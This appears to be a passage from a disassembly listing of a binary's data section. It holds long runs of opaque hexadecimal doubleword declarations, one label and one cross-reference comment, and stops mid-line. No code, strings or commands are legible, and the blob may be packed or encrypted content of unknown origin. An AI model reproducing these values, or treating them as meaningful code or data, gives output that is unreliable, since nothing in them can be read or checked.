0D2036AD0h dd 97AA162Eh, 0B7539067h, 0ACED005Eh, 9DCB92DFh, 1C00BAC9h dd 27E723F9h, 19B325h, 144D8EF8h, 59220ED2h, 0B2F2F50Fh dd 811260BEh, 0DEFCF0h, 9FE0BA7Dh, 269CCF32h, 72CEB504h dd 68908854h, 1FB6717h, 15D38066h, 70B5C46Dh, 1900C259h dd 42B8D91Fh, 26EA9C2Fh, 1B6865B1h, 0B900AE73h, 97C3DED7h dd 0FF6673Ah, 0B5627645h, 70E159E0h, 2E3C35A7h, 46E000D9h dd 1FCD5EBEh, 9F3156Bh, 8003A026h, 28F17C34h, 73E18DA0h dd 3913241Eh, 809CB694h, 0A136175Dh, 786700F4h, 8ED001F0h dd 8412EDCCh, 18309FAFh, 95C868h, 5748D9A5h, 0D408C397h dd 0BEA87D00h, 0A9F58C3Eh, 88DB00B1h, 0FB46B5B3h, 8D4CE51Fh dd 0CC7D00C0h, 580D2499h, 0ABF065h, 0F0A4E98h, 0F9CBEC43h dd 0AF009EFEh, 0F1D677BEh, 466E414h, 0EC4FCF79h, 347B451Fh dd 8AA5FC40h, 0CFAFDC7h, 706F4E0Bh, 3538C019h, 1FEBBDAh dd 20564568h, 9FCC3786h, 0BE7860h, 0BBFCF9F7h, 0B4118B84h dd 57842A54h, 9A0EED71h, 2DAFD2h, 6BF9BBA1h, 0FCE901A7h dd 264C5DBDh, 126C22B7h, 8D06CC85h, 69E8E15Fh, 2C910E7Eh dd 0CE4FE55h, 0DEA08880h, 8690F400h, 0B6523556h, 0A849C050h dd 0F527D17Fh, 17C22300h, 7A4C7782h, 91F41C49h, 9BD046E7h dd 0B124593Fh, 0A504145Eh, 0A08C504Fh, 46E7147Eh, 0E6809420h dd 8846597h, 0B8C50400h, 6A12EC6Dh, 8E7700ADh, 0F5FA0998h dd 0E12A6BF3h, 0B000545Eh, 0E6EDDF8Ah, 4875B764h, 81DCF86Ch dd 48C7894Bh, 0A155C8BCh, 1D06600h, 0F965B02Dh, 0B67D3EF4h dd 1F11D961h, 4028EC48h, 0B1ECDF1Eh, 66C8B340h, 0C1567C8Bh dd 0F5CB6BD1h, 1510D873h, 1AE7AA1Ch, 0FD8579C0h, 0FBDFAD9h dd 6C2CCF6Fh, 0EB1820D6h, 4213CC73h, 0F8304CC8h, 0E803CA9Dh dd 46290251h, 7B94B505h, 0BE3B5C64h, 0B9CE0081h, 0FD16433Bh dd 0B1843CDBh, 0C6E7DD80h, 0EDE5A638h, 275885F2h, 0D41BC1DCh dd 22C8FF28h, 164900DAh, 0B30F9B52h, 5E04295Bh, 6457FE1Dh dd 4500FA5Ch, 0D5679150h, 7B1E77E3h, 9580E836h, 0E94E2919h dd 11CC3F75h, 309459AAh, 44D9D069h, 910027FEh, 6ACF07F5h dd 7B4C6E8Ch, 9848E9DBh, 8DF70185h, 0B5DD7C50h, 11E1C043h dd 0E5836908h, 3A9A02C3h, 0A7822FC2h, 30E09621h, 903A572h dd 0AB6BF066h, 65711777h, 802C24B3h, 0B7CA4774h, 96EF8104h dd 0C886887h, 92DB00C2h, 14597262h, 4383A05h, 0A2D1145Ch dd 23AE8020h, 18DA062Eh, 0E152B613h, 92009046h, 59F27964h dd 0C2ED60h, 0FAD110C3h, 788BE17h, 0C4D72524h, 0F55E041h dd 0F73C770h, 5256FBA8h, 116C4512h, 0EE1400ECh, 0E0135DF4h dd 0AE2EB83Dh, 5711B8BAh, 4EB9E91Fh, 0B8409B40h, 0EEF65F33h dd 68F52901h, 0EDE8B2BEh, 295149E0h, 1E05352h, 825D39A3h dd 40CD307Fh, 1A142400h, 998AA00Fh, 0BE1600F1h, 0BF3EC671h dd 11034D82h, 66AA0D85h, 0E8790232h, 2915C27Ch, 0FDDDCC80h dd 0B400308Fh, 615033ADh, 386EF76h, 9AC922B5h, 3907496Eh dd 3BB4BCFAh, 47819110h, 0DEB80276h, 58CD6BA8h, 5753C068h dd 0C611A9C0h, 0FC8F9394h, 0CEA53BD1h, 15361203h, 928891EFh dd 409BD66Ch, 20A6301h, 0FC32D525h, 10105725h, 0E7481E14h dd 9F6C09A1h, 5ED4879Ch, 3561B5A1h, 1BCE8DCh, 75F04097h dd 0F5BEF4EFh, 15498048h, 22C64B1Ah, 0A97062Ch, 59115650h dd 0B5215700h, 8CA32926h, 0F7E02FCh, 194EE5Ch, 0CD8E1440h dd 0F8B157E0h, 78731500h, 71244FDEh, 0B21129CFh, 473838F8h dd 4400B8A5h, 75EFF7CDh, 8B579939h, 1067DAEEh, 9F9B1F8h dd 8D0833DEh, 55CCD300h, 0CE00E2A4h, 23EF73B6h, 91F92238h dd 893B80DCh, 0ED51425Bh, 9892EB1Eh, 8D0F9AE8h, 41CD689Ch dd 66546C0Eh, 43D73184h, 0E9D8800Bh, 8E0096D1h, 0A5278BECh dd 12E8D4D0h, 0D1698A28h, 0CC929A4Ch, 1103B22Ah, 0A47E6B6Ch dd 0B389A8C7h, 579B89Fh, 0B4D21D14h, 0CC988124h, 24627Ch dd 85ADABC7h, 4100FCBh, 424651D6h, 0DC1C886Fh, 6CE38205h dd 94001386h, 927F31B0h, 16EE7105h, 581D67Bh, 825D73A4h dd 7C08CF1Ch, 10B8E409h, 7D8AE208h, 0CB5D0056h, 0C0F9272Eh dd 0A00085B3h, 5FA8E83h, 4BE99F5h, 1DFD0C49h, 900C4DEh dd 5448B744h, 1F1F5829h, 0A085B2A3h, 9082A76Ch, 3BDC4CD7h dd 75AA2DDEh, 36070390h, 5F67CA8Dh, 0B0F135E0h, 4E4138C0h dd 5856E005h, 52C0BC42h, 67DE96E7h, 14EB4B00h, 0A7D0B0E0h dd 45ED3C4Fh, 292C9800h, 4A3B9FBEh, 0CC2EDD00h, 8408C4B3h dd 56470083h, 0BB1E75EDh, 10B16EE7h, 0A9FA7B01h, 0BD85C71h dd 0F523003Bh, 5F4865A1h, 0B20C4258h, 60201373h, 0DC190496h dd 931B2856h, 16E8215Ch, 0B6306B78h, 0F3ACE94Bh, 0F6E9005Eh dd 0CB45C36Ah, 0DB168236h, 0DC24EB56h, 0D43F23C0h, 574014FCh dd 720E2852h, 0F09DEDADh, 51189EE0h, 3F55E107h, 25029D85h dd 4C5CECB1h, 3D0084CBh, 8805280Fh, 909A9D8Dh, 0CA8FBD0Bh dd 0C890907Bh, 88E900E5h, 78F5951Fh, 741FD6C6h, 9AC3EE10h dd 0E9B9C4ECh, 0AC62B424h, 0BFE4FD7Dh, 5D2A0086h, 6BF5B8E7h dd 971EA226h, 64E4191Dh dd 16C1AE00h, 12B7B976h, 0C820A762h, 4600E278h, 805914B2h dd 42E79A0h, 996FFC6Ah, 0FA01BF1Bh, 0A01A663h, 0A1037032h dd 0BC2609EBh, 68055D0h, 143F4B00h, 4417278Dh, 6ABD0ACAh dd 2A8B278h, 6F1EED35h, 32005452h, 96297297h, 446882h dd 16348512h, 0FD7D46E0h, 1F6AC11Ch, 0B5F884C0h, 243F0DDBh dd 80304FB7h, 0FE739A2Ah, 0EF0F504Ah, 80AD7F11h, 5C909F30h dd 57CB0E1h, 9D37C21h, 0A6CC886Fh, 0B1291E02h, 763662CCh dd 26F402BEh, 5CE468E8h, 214C1124h, 0BBFD8738h, 24B1235h dd 0C49D66B8h, 0A5F88020h, 1046003Ch, 0BC862189h, 0D75211C0h dd 0BB9900C8h, 39FC55A6h, 14B90497h, 89D81171h, 0C880DAC0h dd 3F04C1CFh, 7D07E500h, 4DE0F1D4h, 1ECC175Ch, 71140273h dd 1C40C5D2h, 0E1FC3CB5h, 0D1BB9D00h, 0CAB002C4h, 392A0798h dd 3016DAE6h, 6EB9D35Ch, 0D81C8CB9h, 0FD0041ACh, 4F167149h dd 0C74D1357h, 807C306Bh, 0DE909E35h, 5AF03000h, 0BB7905FDh dd 2F4E001Fh, 68DADE11h, 6E4C84Dh, 4C547526h, 0B9130B40h dd 33AE0253h, 43FF2A82h, 2CB54055h, 0FB22034Bh, 0C9DAC3BBh dd 0C73DC802h, 445365D7h, 4EAE00A0h, 0EAA1F1DFh, 22E46669h dd 0F486F492h, 96EB4Ch, 0A0AF02A9h, 0F8F799h, 8D3D3C21h dd 5ABA6BC1h, 5EBDFB00h, 8CBEE9D5h, 0CF9B24E8h, 0E3990088h dd 58A3DEBFh, 0DD1F78A8h, 0F223A10Eh, 7AB340CBh, 7A9432CEh dd 51B7307Fh, 0BAF4B879h, 8883101h, 4BFC3BC9h, 0C04DCC60h dd 86B7E121h, 0C41C4A22h, 2C063127h, 0C78CE9Eh, 0CFDE7FA5h dd 1FF8071Ah, 5517EB12h, 6A40FC90h, 781800D1h, 2EACB2A0h dd 0C4263CE2h, 0BA1DA813h, 74D01025h, 0A2AB00B2h, 5F15B8F9h dd 70BE4F7h, 86891Ah, 11CC7A44h, 17349BBFh, 0B91008CDh dd 9C655F05h, 7500E0A2h, 0C3BED9C4h, 27037288h, 0C884EFACh dd 0E417F05Eh, 94A95468h, 97A70A81h, 25FC10E5h, 84513090h dd 80B4D038h, 2FF72B23h, 17DE744Ch, 4E9C826h, 0E0636670h dd 6A4A7B20h, 0CF45044h, 685098A2h, 0A46C2515h, 0A2655CA2h dd 1476F0DAh, 0B84EE12Ch, 0A4043C13h, 1F7024h, 3F32B73Bh dd 6CB17BCCh, 40275E0Eh, 0C53D5AA3h, 0AFBB0BB3h, 48184C3Ah dd 0B2793189h, 0FB1C561Fh, 23535805h, 4328C840h, 0EA2F39E9h dd 7B1D0274h, 0F04B6F90h, 3B984760h, 87056107h, 9D816C29h dd 2062B52Ah, 0E831Fh, 0DDEE8D61h, 74099EDFh, 80573326h dd 99A5E178h, 0DC1D0BE6h, 106490D1h, 24814409h, 570890BDh dd 91E76250h, 0F0E355ECh, 9431ECEFh, 2000AEF2h, 0B2EAE6CFh dd 82375Bh, 448F70E7h, 0A4E0578Dh, 0AB6C2014h, 751880E0h dd 0BFD371h, 0B1E0DC52h, 9050C568h, 880268B8h, 0FFFB1476h dd 6A3460C1h, 1DCE2CAAh, 1E5002BCh, 0A4E46563h, 0C8B63424h dd 0FDF5D40h, 40D50152h, 0D593305h, 2DAEC4A7h, 65C233Dh dd 0A446ECEFh, 7FC71F58h, 0DFBF40BEh, 5620F13Ah, 0E91AEE36h dd 1B820078h, 0F268BC0Eh, 57E021DDh, 2F0C0384h, 0FA2BDFD2h dd 8AD183F8h, 8296313Bh, 9BC33303h, 0A378E02Dh, 4BAF7F0Fh dd 1E2C40B4h, 0E6CB129Dh, 791DDB7Ch, 911201AEh, 589084D8h dd 6426C0A7h, 0E4605B0h, 510880E4h, 0AD12CBA6h, 8835A82Ah dd 0C93DA207h, 960D9580h, 0B41448D6h, 6B7C440Ch, 0AE799759h dd 39245601h, 0B5BF10F8h, 0B8F72CCh, 513BEE6h, 0A4AEA00Bh dd 0AB2714A0h, 589A4412h, 1A9A7500h, 427FBDFEh, 72F1282h dd 6354200Ah, 0D507038Ah, 532D3EDh, 9FB0CFF7h, 126FB140h dd 20B512CCh, 734F4394h, 7EEC9800h, 1BA5DBE5h, 2FBE0314h dd 88F43685h, 0B4404AB2h, 5707713h, 6C3DFB2Ch, 9BD53E00h dd 0AB42C01h, 2FA2689Eh, 0FC803E98h, 267880BDh, 0EE0090B8h dd 1787BE09h, 125A62B0h, 20B7EB43h, 9008218Ch, 1AE1CD00h dd 8240486Bh, 565C175Ah, 87AC30F4h, 2D7AC5E4h, 5954FF7Dh dd 0D17DDAFCh, 0D98DA300h, 371DF3B6h, 5CC1664h, 7D02EBB8h dd 44EE43CAh, 30C03E58h, 63D1E102h, 2C40D808h, 902BB92h dd 713F9E5h, 291440FBh, 1FF099B5h, 0AD6780F2h, 0E2175FE3h dd 7C23E804h, 0CD006049h, 0A93B27CAh, 0BD9A3Ch, 9C635EB2h dd 96F656DCh, 7C1AA59Ch, 0C075BC42h, 0EA66F6F7h, 0E4CF0EC1h dd 9DA079B7h, 0E0ED507Fh, 0EAA6A700h, 0F5E30448h, 1F13785Dh dd 1D6610h, 2E029E57h, 0AB05B4CFh, 1E16194Ch, 0B7802C87h dd 916F408Eh, 20AB0034h, 5167B53Dh, 0AD577400h, 9C9846C1h dd 3CEC98BBh, 7C98F337h, 0F581316Ch, 1381900h, 5E0BF61Ch dd 0C1B600FEh, 2589A231h, 8816F805h, 28100D1Eh, 13751FA0h dd 725780F2h, 526B0BECh, 70012C97h, 201C5D48h, 0EF3AB818h dd 31E80122h, 19BB630Eh, 9A80F83Ch, 5BC689ECh, 804298C0h dd 40B6151Ah, 0EA903E56h, 0B36D500h, 68662BF2h, 0F1630093h dd 1D157546h, 14002811h, 2B88FDDCh, 0B01B1871h, 0A66C9608h dd 0EF7E81BCh, 0C0BCD620h, 0E60BD185h, 907BD0D5h, 225BDD8h dd 0D2702607h, 285A7C54h, 0B0C9D807h, 0B6E35E33h, 0AFDC9188h dd 7C50C8h, 131A3A0Ch, 6F20E02Ch, 691D20B9h, 0A886FCC3h dd 89E8888Bh, 1074091Dh, 0F0014AD7h, 0F895B427h, 69E05C49h dd 0F80080B1h, 6530C124h, 598900D5h, 13A4D784h, 854B9E1Ch dd 258FB420h, 0D2FA009Fh, 0EBA94043h, 0CE726C06h, 6DED21C0h dd 1256DFDBh, 91A46BADh, 2016CE5Ch, 1371CFE4h, 2E3DA21Dh dd 88289844h, 0EDB63480h, 0E55616E4h, 8948D033h, 0FB0027E9h dd 1E74F1C7h, 0F4719521h, 206800BFh, 0C20F4AF7h, 0D2735C9Dh dd 80B06E4Ch, 5ABFB8Eh, 665B07D1h, 4F483B1Bh, 0A7853E68h dd 0FCC099CBh, 5DA8A5Dh, 253DD216h, 6938A4B2h, 7700AC99h dd 5795BCEFh, 41A4BE6Ch, 0C043902Bh, 714C83D0h, 93BAC06Ch dd 2C9DDCEh, 5494B388h, 3C664D75h, 0EE8B0900h, 0B23542F2h dd 1F660078h, 251A6933h, 85F2E512h, 5B587600h, 77BAFA68h dd 406F5E3Dh, 0EA3AE158h, 0A1EA97Dh, 0A27B75h, 0CE3315FBh dd 5206B047h, 67E68900h, 584EA3C2h, 6870298Dh, 0E4F920E0h dd 14FA05BFh, 0C53D8178h, 2104F559h, 317AEC4Dh, 2A752B00h dd 0AB2FAA74h, 4F35006Ch, 7D11BB23h, 80F967DBh, 0F7624E51h dd 7ECE9FFh, 0AE42159h, 13C200A6h, 3091C86Ch, 104BCB02h dd 0A0C6D4h, 12E76932h, 81AE052Fh, 87CAA200h, 9673241Bh dd 0E86A003Eh, 0D77AB0E0h, 261E5A2Dh, 247E9814h, 0FF605C05h dd 2732ACh, 0EDE2AE74h, 0E1A81B20h, 0CA24F9EEh, 853EC0E4h dd 6D7CD6F7h, 0B2699847h, 47170470h, 984B3932h, 680058B8h dd 1DB6259Ch, 0A203CE9Dh, 0CDEF4940h, 14DA81E4h, 12315420h dd 0B2E55533h, 66213Ch, 0CA3CD21Fh, 211304BAh, 0AC0B728Fh dd 88C89B75h, 8168D6h, 1D2C668Ch, 468416C0h, 4B9BC907h dd 2CCACF55h, 803F9708h, 0DEF58DB1h, 86019D14h, 7A0FC7F3h dd 0CC603AA6h, 18467429h, 109579D0h, 0D700B475h, 0F26EAE20h dd 0D46F7C58h, 0E5031549h, 5CBDAA44h, 0FC68739Fh, 9A519CD0h dd 121D4C1Fh, 3DE244AEh, 0FC727Ch, 9C748AC4h, 8DDE4CBDh dd 0B07B4400h, 399B1781h, 0EABC0094h, 5B9E667Ch, 5300193Fh dd 0D09D88F9h, 607BA4CBh, 5B3C4955h, 41022EB1h, 6BAA23C4h dd 61C85CABh, 6246FD87h, 0D60803B8h, 0D04C2A5Ah, 0A4C8F4h dd 0B2EC195h, 73E7745Dh, 662C167Dh, 0B7444091h, 1C0C8h dd 64C377FDh, 76919F9Bh dd 9C7C2724h, 0E8D94943h, 2AF569h, 193DCFC5h, 8F1E7150h dd 0CCE4A71Eh, 24F2AA12h, 0A0FB9A18h, 8609EF80h, 0EB697040h dd 0E065B050h, 257C0F15h, 0DC177B4h, 0DB04C6DAh, 0C8BFD8D8h dd 0BE39D7ECh, 54205E11h, 606C8110h, 436011E1h, 0ECB9A647h dd 8831AC81h, 2DC9B003h, 7980A878h, 69A41AA9h, 0F95F3804h dd 28B21724h, 77A77F0Ch, 4C4EC702h, 0B0EF5820h, 68C9005Ch dd 57D382BFh, 0A30114A6h, 0D770E465h, 2A703556h, 6F7C90h dd 51D845E5h, 473DB9E2h, 0FCD76C24h, 0A7ECCE41h, 2D1FC470h dd 9C002D25h, 9CADA1BEh, 3C86EE03h, 1E5F68B2h, 0C91D6C31h dd 7300092Bh, 0DB91CA63h, 6AD15A02h, 60BE2FD3h, 39F010E4h dd 4C7A5028h, 0AE00008Ah, 3978FD47h, 1CE674B5h, 0CC01F03h dd 0E9DB13EBh, 0E03C9A7Ch, 0A76CCD05h, 6CB23Fh, 85097EB5h dd 1E0FAF19h, 0CA4A9Eh, 2C0C816h, 8097E3B3h, 3CF45CE8h dd 69BE0347h, 2D4A39B8h, 29B0B3B0h, 0E14F258h, 80D1359Fh dd 84F5EA0h, 75EF0CE4h, 86080568h, 7BBEBF13h, 0CDA66490h dd 521A17FEh, 4F0C0067h, 739DCFE7h, 139FCC01h, 729A7FBEh dd 2EEF0D0h, 0B9B26F99h, 4501DDFh, 0D9A9E501h, 0F356F141h dd 0A861B079h, 30BEF4FAh, 0B7886FACh, 71B2041Eh, 85551B9Ch dd 25F4B495h, 807D39C0h, 701E8FBh, 966C50F7h, 49F341B8h dd 0E8F5D5A5h, 0BF2C9F13h, 0D20BCCD9h, 408800F1h, 953BCFB4h dd 0DD50BC82h, 0EC018C52h, 0FD10D21Eh, 0F43086BBh, 849A01B8h dd 15761A2Dh, 16C726Fh, 0FDC791F5h, 0D03968B7h, 113FF000h dd 965B8CB6h, 0D1D14896h, 0C09D6868h, 200C93B1h, 2101AA17h dd 0CDDEF8AFh, 48226F1Bh, 0FD1CC93Ah, 4B958048h, 36D7235Eh dd 2427BBE0h, 1C448B3h, 0ACEEC1h, 3329E69Fh, 20C407A7h dd 0D42BFD2Eh, 3658501Ch, 98AC9DE9h, 54C801A8h, 0D121F8Fh dd 0FA24616Ah, 0C1714F21h, 0F6B3C2F8h, 0BD0800E1h, 413EEAFEh dd 33DDA31h, 648CA656h, 666040A6h, 0C7E392h, 7FB1294Ah dd 98A09D37h, 0DFDEF000h, 4DF7DC1Fh, 0B09A0F46h, 66021FDh dd 4CB730ADh, 0CF5CFCA8h, 0F322DD00h, 72708A58h, 9F2E00F4h dd 87796668h, 0DCE53A07h, 0B3006986h, 0C021C763h, 27D10158h dd 9444499Bh, 4EBA844h, 37C1C8C6h, 7A088166h, 0AED2D006h dd 98BF242Dh, 0A02745E4h, 0B2A679D0h, 0AB710338h, 0A75525BEh dd 0E71FFE1Fh, 10F27092h, 77A8EB01h, 0E462D8DAh, 0F50C0FCCh dd 0B0750632h, 0F4EE0E83h, 84614E0h, 94281107h, 0EB0178B5h dd 1EC56427h, 0DD0A709h, 5A7D1F9Ah, 0B2120AE8h, 7202434h dd 0C09D6C99h, 0ED56DC38h, 7964EB58h, 804C8327h, 0EEEF73FCh dd 0E7970C96h, 0AFE85BF7h, 1D62423h, 2A6BDC96h, 9888415Dh dd 0C8803059h, 40AC9684h, 76B0D543h, 0BC4E100h, 470A9F4Ah dd 213095Ch, 4C487D25h, 0F3072B27h, 37B13A5Bh, 0D2B3E703h dd 0A8D114h, 0B705C64h, 3200BFD4h, 96DED5C5h, 23F01AFh dd 5C108767h, 54F1167Fh, 2FA54501h, 77F0C9AFh, 5E5600FEh dd 3C328839h, 5A00D5C1h, 0B886FF5Bh, 97D21041h, 480F013h dd 0A7003BF8h, 2BB11E8Ch, 2B2845CBh, 0F84B225h, 0C29E7A36h dd 581B4EC5h, 6F0EB0DAh, 402E5611h, 0B2276C4h, 89A90FBEh dd 26092510h, 0FA907480h, 3A096F7Fh, 0F2EB121Ch, 24FE0308h dd 85051E4Eh, 11D2A601h, 57E0134Ah, 0B7CC7BF8h, 0EEFF8B60h dd 79D6CD02h, 52B5DAADh, 0F6583AD0h, 0AE502E00h, 0E213B87Ch dd 0F5507862h, 0F059A3h, 1921BBE5h, 7D5C1C3Fh, 0B8878084h dd 0DC496Ah, 0C898676h, 0AC4B53D8h, 2B1E7EFEh, 1C086515h dd 0EC57003Eh, 7B94A987h, 4250D90Eh, 26EF0005h dword_544450 dd 6007DF0Eh, 189FB888h, 0E216017Ah, 0C001CCAh, 0D0EBD1CBh ; DATA XREF: ___:off_43D3D4o dd 0B04E21h, 0B6639694h, 1E88387Bh, 73E94CC6h, 7C62991Fh dd 46EB6A8Ah, 8A298060h, 9BA9C4FCh, 0A2D58300h, 0F4DCCC7h dd 0C8914F67h, 38965970h, 13D86D00h, 4CC971BDh, 0A780387Bh dd 378FFE23h, 6879690Bh, 605C8FDAh, 0C63F3C80h, 8911391Eh dd 0C1169F89h, 0B0001C59h, 6FE4EBF7h, 0E849097Ah, 0D08BBF84h dd 215758C8h, 0B2B84E00h, 0B4513380h, 9E2C1806h, 0CF9D90ADh dd 9BE8D201h, 5D4E11CEh, 3828002Bh, 90D1AEB8h, 9840A8B6h dd 0E38579h, 0E512265Bh, 0FAA5EB65h, 4C098C00h, 6EAF9F55h dd 0E578886Ch, 6AE2B903h, 0A8C4688Ch, 9649E5Ah, 0EBC90DFFh dd 720FE0C4h, 80E2F845h, 82E99B3Dh, 985D0425h, 0C0170F09h dd 0B64D9D58h, 16838096h, 0F8EB3B85h, 7217C839h, 990A3C78h dd 0E1ED5F00h, 0B6902091h, 7B80D49Eh, 280D2A1Ah, 0A3FD1F23h dd 0BC41C0E9h, 57CD480Fh, 4445ECBCh, 9F09A6C0h, 1591014Eh dd 568E815Ah, 202D53h, 6B799EA0h, 0E64E65h, 4B3392B7h dd 2F8BAA57h, 0EC26C47Eh, 0A04FD867h, 0F218027h, 80189E72h dd 2A54AD13h, 4F007B15h, 0BB498E90h, 0C869F8h, 0AFF672E3h dd 9F06392Eh, 6C865Ch, 0B86CCC49h, 252D8978h, 0BCC45824h dd 7CDBF700h, 335F9D13h, 0A53B00B0h, 0C91C3698h, 4C08648Fh dd 40546AB1h, 725AEE85h, 7B48521Fh, 26002428h, 632E0E8Ah dd 96B75F9h, 4689C9F1h, 41A52490h, 0FE040307h, 0CF904CF6h dd 17693E6h, 7DD3AD49h, 21FA7890h, 3B50D128h, 0E5115821h dd 7B3EB8BEh, 13273502h, 6CC02EA6h, 2413B4A7h, 385738B1h dd 371088h, 564BC539h, 0BC33EAF7h, 72D0F500h, 2E5B1317h dd 0CDD20132h, 0CA1FE02Ch, 9843223h, 0D1C78384h, 9ED300B4h dd 0C85D72E7h, 74CE9100h, 7BEBC078h, 759FA66h, 5614DE7Eh dd 0E555A235h, 9283705Ah, 9AA9FEA8h, 9D808091h, 0EDDB0112h dd 6C641DF4h, 3030D8D6h, 46559165h, 0C7544CF0h, 951CEB00h dd 0FD39BC53h, 30E31DD5h, 80499F6Bh, 5986462Ch, 0E01D2E8h dd 0DAB4AE6Ah, 886026B1h, 8BD72996h, 4B0A83D0h, 0E7DB06E6h dd 98F03780h, 23550425h, 83355A20h, 0F82988BFh, 2B1107EEh dd 41B5D18Dh, 39976674h, 0B4D45018h, 8FB11904h, 48B2EB1Ah dd 98287901h, 6B356987h, 0D59E0C30h, 6CBE5111h, 30C216Ah dd 286A6045h, 0B054CB01h, 0ECB5A4A9h, 80D2D721h, 0BD38312Ch dd 2CE601D6h, 435FBEFBh, 0A03315h, 0D10968B0h, 0B796720h dd 6F41CBCFh, 10440410h, 0EB5E800h, 0B43268C9h, 3731005Bh dd 51A5E174h, 0B3E48A89h, 0B5128579h, 2491D924h, 1062F657h dd 28CEB300h, 1A47138Eh, 0D021AA00h, 63909BFBh, 4BEB5A56h dd 5B801168h, 77F270ECh, 1600F3F4h, 0BF25299Fh, 23AFA88h dd 36F4E706h, 1C435783h, 51DF16B8h, 5C686D15h, 1A911F8Ch dd 5DBDABC0h, 8C5EC6h, 2CEBFB4Eh, 18A00111h, 45C41950h dd 1B064209h, 919402D7h, 8040DC54h, 0C78090F0h, 6B0BB0A4h dd 20207115h, 0E698139Ch, 9F6C1758h, 0A288129Eh, 0C0AC0128h dd 7D30EC35h, 0B6018029h, 911BA178h, 2E0EF58h, 900249F0h dd 3D6BFC26h, 40E05CE7h, 4C5B28EDh, 220084E6h, 63BE15E9h dd 26F06F2h, 10C90448h, 54D26907h, 6DBBBD00h, 9F4C3213h dd 220F0958h, 54818004h, 60E31185h, 0E52956DEh, 9300C4E6h dd 23BBA378h, 0C60E17E0h, 205C172Eh, 315FF7D8h, 0DF186A03h dd 0F8D9DB9Bh, 3F028449h, 3F04C616h, 0FD2499D3h, 288BE8h dd 718FADF0h, 80D09E69h, 389A7598h, 0A000F7AFh, 70222ECh dd 25D98F24h, 1C686966h, 0B4EE203Ah, 0E81EF402h, 0C041E07Fh dd 0C0656778h, 541C0E58h, 0CA0F40D3h, 72B499BEh, 0A60E68A2h dd 0F12089D5h, 1644C214h, 0CBEC7000h, 0E9C3AEE4h, 473F17D1h dd 72A00913h, 2255D4E8h, 661ED1Fh, 0C359F207h, 0A7C0B035h dd 4D420DFh, 9BEB2C6Bh, 0C468CCCDh, 53A69D00h, 7CFA62BAh dd 146A095Dh, 6CC48C07h, 0C5055800h, 4E0D874Ch, 0B4B74846h dd 50D45580h, 10977DD2h, 6C0FC0h, 8F129C0Bh, 0B2CBB192h dd 0E7FFBC00h, 1458013Bh, 40E1506Ch, 0A89156h, 7252DC39h dd 30B29CAh, 10B747FCh, 25FEE8h, 8395D8B3h, 30CA57CFh dd 500F1700h, 581E6A81h, 0ECB7F446h, 0B4253319h, 24E03EB9h dd 674FE884h, 4DD05CD7h, 7CD2235h, 0EFA46B5Bh, 63D2B07Dh dd 3CE8DAA0h, 9FA06F5Ch, 23DFF280h, 0E248FAh, 6B8FBF46h dd 0E393B00Ch, 98A448h, 0A62D2AA7h, 0B83C5FE2h, 0B09D00A8h dd 0CE2039EEh, 5202CF9Fh, 5CE1F5CCh, 91C8F835h, 0F6AE80E8h dd 0CBBDDCBEh, 0D1B7FE00h, 1880A681h, 8D080227h, 0B648C51Bh dd 0C475C844h, 0A847EA02h, 0C5D9250Ch, 1C00BC74h, 5318AC98h dd 400F3D0h, 54F186AEh, 3C458E74h, 3F89362Eh, 0FC0FAFF8h dd 0D8646929h, 781E15FCh, 2540CFF9h, 29EEEDD5h, 65581269h dd 0D8E29Bh, 0DD14C267h, 0B38A23h, 0FA7791B6h, 1F08BCE8h dd 0E6CE504h, 6888B5E3h, 2A85008Dh, 767EF677h, 0D4F82D42h dd 210A1300h, 65593E61h, 0A67479h, 88BDFCE2h, 0F80F2785h dd 10125724h, 1B37C680h, 4ED95Bh, 52D2BF99h, 3D8494B6h dd 0CE0B9C98h, 59285624h, 0AC5A076Ch, 0C858B925h, 0F7E8CC00h dd 0A37EB388h, 0D5112CBEh, 1E8760F4h, 0DD274FAEh, 78DC2858h dd 0B1E6C500h, 372FDF07h, 0C921B567h, 40AA5C84h, 12E47B6Fh dd 5C620223h, 1D426524h, 0E20084D1h, 8B63B38Ch, 0A7110ED4h dd 4093A3FFh, 0EB50C297h, 6A163F94h, 0F0B21481h, 0C0591B1Dh dd 0F2D7A23h, 0B43EDE76h, 0A27982A4h, 405C750Bh, 97B0DC6h dd 0C96BE47Dh, 685E4092h, 0E12CC240h, 0B5C42D5Bh, 0B49C1C68h dd 3AFB1800h, 0DD508FC8h, 0C2AC1E5Dh, 0A28B82EDh, 0C60660Fh dd 1F59E302h, 45278480h, 6A6C8853h, 4D1CF5B0h, 0C45CFEDDh dd 0AF076FC0h, 18E77C30h, 4153B5F8h, 1100945Fh, 7139CF1Dh dd 0FA2761h, 0B520C2BEh, 0AB93C874h, 0F8BF9C14h, 69B608D4h dd 41541B72h, 0FFA820C5h, 330070CDh, 1CA901B7h, 59EAC57h dd 19CA4C5Dh, 8FA4BC2Ah, 7107602Eh, 2C436D8Bh, 20CA290Fh dd 0B65E009Ch, 5C8D2CA1h, 5CB91A37h, 5FDDCC87h, 4B7D3CD0h dd 0FA9F0214h, 59AB551Ah, 79CEB448h, 0D14474B0h, 0F0A779Eh dd 44B63FCCh, 159BD5E0h, 5D00C940h, 0DF4E101Eh, 0B4DD5705h dd 959D80ECh, 35928359h, 14939000h, 0B6EEA624h, 26F70E2Ah dd 7C00C92Dh, 4CE01DF8h, 0B160C60Bh, 95EC02D3h, 0AD50F166h dd 4DC74890h, 8B658A38h, 3F90F48h, 0D7F4EBh, 2D723FCEh dd 0E29D130Eh, 1EC89A00h, 0EE46AB86h, 1DBE00F4h, 125BEF05h dd 2138D1BBh, 44C5Ch, 0F98662E5h, 407C057h, 730ABAFEh dd 280AC4Ah, 0D6679172h, 4448C014h, 561F17DFh, 0FA84F4F3h dd 77FEBB16h, 0AC4CC0B3h, 2401274Ch, 0E942218Ah, 0EDEBF8E5h dd 10B5F47Eh, 1EC06508h, 4990711Bh, 8C10B507h, 0DF00C411h dd 0F5181627h, 1FFD4CE9h, 3E19BF81h, 5AC5AA6h, 0C06FD84Bh dd 553686E4h, 0A0AF6700h, 52C3D9Ch, 25397A3Ah, 0C4A046FEh dd 1CD80F8Fh, 58BFBE00h, 6C4139EAh, 88B0067h, 0C2C185C3h dd 0FB5824FFh, 252804D8h, 9DC4960Dh, 10A1488h, 0ADA54088h dd 281018CBh, 1ADF8048h, 0FC5C19h, 0F91F374Dh, 82BDC6F4h dd 1EE82114h, 3D9508BCh, 27809ABh, 1480CCD1h, 0BDC9A6D2h dd 0F1DC026Fh, 66AA0223h dd 7CBE1081h, 0D4B0E0A5h, 801C5C3Eh, 576886EEh, 